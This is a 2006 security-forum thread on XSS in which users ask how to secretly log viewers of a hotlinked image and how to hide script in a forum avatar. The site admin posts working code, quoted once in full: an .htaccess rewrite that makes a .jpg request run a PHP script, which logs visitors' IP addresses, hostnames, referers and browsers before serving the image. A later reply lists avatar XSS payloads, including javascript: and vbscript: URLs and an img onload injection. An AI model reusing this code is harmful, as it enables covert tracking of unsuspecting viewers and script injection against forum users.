 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 130
 Members: 0
 Total: 130
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
XSS Through Image |
|
 Posted: Sun Mar 26, 2006 4:22 am |
 |
|
| cdn |
| Beginner |
 |
|
| Joined: Mar 26, 2006 |
| Posts: 2 |
|
|
|
 |
|
 |
|
If I hotlink an image from my website to another how can I get it to log the full url in the browser of the person viewing the image at that (or those) website(s)? Basically something that logs the url present in the browser of someone loading the image.
I guess something like this would be used for the sytax:
document.write("<img src=http://mywebsitehere/?a=" + document.location + ">");
but then what...how do i log the url from the viewer on my remote site? Is there some PHP script I can use for this purpose that would dump the url into a textfile? |
|
|
|
|
|
|
|
|
| Posted: Sun Mar 26, 2006 10:33 am |
|
|
| fizzi |
| Advanced user |
|
|
| Joined: Sep 14, 2005 |
| Posts: 55 |
|
|
|
|
|
|
|
| i would try to make a php script which logs the url the visitor came from. this php script has to be renamed to the original image file. (and your server must interpret this file as a php script) somehow you must garantee, that the original image will be loaded by the script and then send back through the script. |
|
|
|
|
| Posted: Sun Mar 26, 2006 5:15 pm |
|
|
| cdn |
| Beginner |
|
|
| Joined: Mar 26, 2006 |
| Posts: 2 |
|
|
|
|
|
|
|
| Okay. what would the script be? |
|
|
|
|
|
|
|
|
| Posted: Sun Mar 26, 2006 6:00 pm |
|
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
Here is one possible solution, using 'HTTP_REFERER':
1. Client-side javascript:
| Code: |
<script type="text/javascript">
var x=new Image();x.src="http://www.myserver.com/img/pic2871.jpg";
</script>
|
2. .htaccess file in "/img/" directory:
| Code: |
RewriteEngine on
RewriteRule ^pic([0-9]*).jpg pic321.php
|
3. Php logging script "pic321.php":
| Code: |
<?php
error_reporting(0);
//===================================================
$realpath = dirname(__FILE__);
$mainlogfile = $realpath . '/logz/log321.html';
// preparing various data
$time = date("F jS Y, h:iA");
$remote_ip = $_SERVER['REMOTE_ADDR'];
$hostname = @gethostbyaddr($remote_ip);
$referer = @htmlspecialchars($_SERVER['HTTP_REFERER']);
$browser = @htmlspecialchars($_SERVER['HTTP_USER_AGENT']);
$forwarder_ip = @htmlspecialchars(getenv('HTTP_X_FORWARDED_FOR'));
$request = @htmlspecialchars($_SERVER['REQUEST_URI']);
// appending mainlog
$mainlog = "<b>Time:</b> $time<br>";
$mainlog .= "<b>IP:</b> $remote_ip <br><b>HostName:</b> $hostname<br>";
$mainlog .= "<b>Referer:</b> $referer<br>";
$mainlog .= "<b>X Forwarder:</b> $forwarder_ip<br>";
$mainlog .= "<b>Browser:</b> $browser<br>";
$mainlog .= "<b>Request:</b> $request<br>";
$mainlog .= "--------------------------------<br>";
$fh = @fopen($mainlogfile,'ab');
@fwrite($fh,$mainlog);
@fclose($fh);
//===================================================
$buff = file_get_contents('./pic123.jpg');
header("Content-type: image/jpeg");
echo $buff;
die();
?>
|
Referer will work in most of the cases, but there are firewalls and other software and hardware, that can remove that piece of info. In this case
javascript "document.location" will be better choice.
Feedback is welcome  |
|
|
|
|
|
|
|
|
| Posted: Sat Apr 22, 2006 3:53 am |
|
|
| gila |
| Beginner |
|
|
| Joined: Jul 09, 2005 |
| Posts: 2 |
|
|
|
|
|
|
|
| waraxe wrote: | Here is one possible solution, using 'HTTP_REFERER':
1. Client-side javascript:
| Code: |
<script type="text/javascript">
var x=new Image();x.src="http://www.myserver.com/img/pic2871.jpg";
</script>
|
2. .htaccess file in "/img/" directory:
| Code: |
RewriteEngine on
RewriteRule ^pic([0-9]*).jpg pic321.php
|
3. Php logging script "pic321.php":
| Code: |
<?php
error_reporting(0);
//===================================================
$realpath = dirname(__FILE__);
$mainlogfile = $realpath . '/logz/log321.html';
// preparing various data
$time = date("F jS Y, h:iA");
$remote_ip = $_SERVER['REMOTE_ADDR'];
$hostname = @gethostbyaddr($remote_ip);
$referer = @htmlspecialchars($_SERVER['HTTP_REFERER']);
$browser = @htmlspecialchars($_SERVER['HTTP_USER_AGENT']);
$forwarder_ip = @htmlspecialchars(getenv('HTTP_X_FORWARDED_FOR'));
$request = @htmlspecialchars($_SERVER['REQUEST_URI']);
// appending mainlog
$mainlog = "<b>Time:</b> $time<br>";
$mainlog .= "<b>IP:</b> $remote_ip <br><b>HostName:</b> $hostname<br>";
$mainlog .= "<b>Referer:</b> $referer<br>";
$mainlog .= "<b>X Forwarder:</b> $forwarder_ip<br>";
$mainlog .= "<b>Browser:</b> $browser<br>";
$mainlog .= "<b>Request:</b> $request<br>";
$mainlog .= "--------------------------------<br>";
$fh = @fopen($mainlogfile,'ab');
@fwrite($fh,$mainlog);
@fclose($fh);
//===================================================
$buff = file_get_contents('./pic123.jpg');
header("Content-type: image/jpeg");
echo $buff;
die();
?>
|
Referer will work in most of the cases, but there are firewalls and other software and hardware, that can remove that piece of info. In this case
javascript "document.location" will be better choice.
Feedback is welcome |
can you create XSS script that we can put inside the forum Avatar with
ext. file still .jpg? tq. |
|
|
|
|
|
|
|
|
| Posted: Wed May 24, 2006 11:06 pm |
|
|
| Tori |
| Regular user |
 |
|
| Joined: Jun 12, 2005 |
| Posts: 6 |
|
|
|
|
|
|
|
RewriteRule is a good idea.
(You can use AddHandler to parse .gif as .php as well, another option but some free servers don't support it to prevent image hot linking.)
For forum avatars you need to find a XSS bug first. Sometimes simply javascript:("whatever") or vbscript:whatever as the forum avatar works! In IE and Mozilla Firefox <img src="javascript:('');"> is still valid syntax even though it is trapped within the quotes.
Another way is to exploit Onload="" to run javascripts.
<img name="a" src="http:/whatever.gif" width=0 height=0>
<img name="b" src="http:/whatever.gif" OnLoad=a.src=[javascript code] width=0 height=0> |
|
|
|
|
|
www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
